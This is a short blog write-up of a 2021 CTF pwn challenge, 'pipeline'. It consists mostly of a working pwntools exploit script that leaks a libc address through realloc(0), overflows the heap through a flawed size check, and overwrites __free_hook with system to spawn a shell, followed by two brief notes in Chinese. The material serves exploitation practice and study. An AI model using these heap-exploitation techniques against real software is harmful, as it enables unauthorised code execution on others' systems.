qwb2021 pwn复现

pipeline

exp

from pwn import *
context.log_level='debug'
#p=process('./pipeline',env={'LD_PRELOAD':'./libc-2.31.so'})
p=process('./pipeline')

libc=ELF('libc-2.31.so')
sl=lambda a,b:p.sendlineafter(str(a),str(b))

def add():
  sl('>> ','1')

def edit(index,offset,size):
  sl('>> ','2')
  sl('index: ',str(index))
  sl('offset: ',str(offset))
  sl('size: ',str(size))

def free(index):
  sl('>> ','3')
  sl('index: ',str(index))

def add_data(index,size,data):
  sl('>> ','4')
  sl('index: ',str(index))
  sl('size: ',str(size))
  sl('data: ',data)

def show(index):
  sl('>> ','5')
  sl('index: ',str(index))


add()#0
gdb.attach(p)
edit(0,0,0x500)
add()#1
add()#2
edit(0,0,0)#leak unsortbin by realloc(0)
edit(0,0,0x500)
show(0)

p.recvuntil('data: ')
libc.address=u64(p.recv(6).ljust(8,'\0'))-0x1ebbe0
print hex(libc.address)
free_hook=libc.sym['__free_hook']
system=libc.sym['system']
pause()
add_data(0,0xffff1000,'a'*0x500+p64(0)+p64(0x21)+p64(free_hook)+p64(0)+p64(0x100))#heap over write
pause()
add_data(1,0xffff1000,p64(system))#change free_hook to system

add_data(0,0xffff1000,'/bin/sh\0')

edit(0,0,0)

p.interactive()

 

利用点:

1.利用edit()函数中realloc()函数realloc同一个块来实现unsortbin地址的泄露。

2.利用append_data函数中,v3<=v1的比较来实现堆溢出。

 

 假设输入的v3是-1,那么LOWORD(v1)就会等于0xffff。可以通过调试得到。

 

posted @ 2021-08-13 13:35  mio_yy  阅读(51)  评论(0编辑  收藏  举报